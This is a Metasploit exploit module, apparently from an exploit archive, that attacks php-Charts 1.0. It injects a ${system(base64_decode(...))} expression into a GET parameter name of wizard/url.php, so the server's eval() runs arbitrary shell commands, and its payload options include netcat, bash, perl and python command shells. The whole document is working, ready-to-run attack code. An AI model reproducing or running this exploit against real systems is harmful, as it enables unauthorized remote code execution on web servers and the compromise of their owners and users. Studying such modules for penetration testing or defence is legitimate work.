PHP-Charts 1.0 PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "PHP-Charts v1.0 PHP Code Execution Vulnerability",  
'Description' => %q{  
This module exploits a PHP code execution vulnerability in php-Charts  
version 1.0 which could be abused to allow users to execute arbitrary  
PHP code under the context of the webserver user. The 'url.php' script  
calls eval() with user controlled data from any HTTP GET parameter name.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'AkaStep', # Discovery and PoC  
'Brendan Coles <bcoles[at]gmail.com>' # msf exploit  
],  
'References' =>  
[  
['OSVDB', '89334'],  
['BID', '57448'],  
['EDB', '24201']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x22",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',  
}  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['Automatic Targeting', { 'auto' => true }]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jan 16 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),  
], self.class)  
end  
  
def check  
  
base = target_uri.path  
base << '/' if base[-1, 1] != '/'  
peer = "#{rhost}:#{rport}"  
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)  
code = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))  
rand_key_value = rand_text_alphanumeric(rand(10)+6)  
  
# send check  
print_status("#{peer} - Sending check")  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"  
})  
  
if res and res.body =~ /#{fingerprint}/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("#{peer} - Connection failed")  
end  
return Exploit::CheckCode::Unknown  
  
end  
  
def exploit  
  
base = target_uri.path  
base << '/' if base[-1, 1] != '/'  
@peer = "#{rhost}:#{rport}"  
code = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))  
rand_key_value = rand_text_alphanumeric(rand(10)+6)  
  
# send payload  
print_status("#{@peer} - Sending payload (#{code.length} bytes)")  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"  
})  
if res and res.code == 500  
print_good("#{@peer} - Payload sent successfully")  
else  
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")  
end  
  
end  
end  
`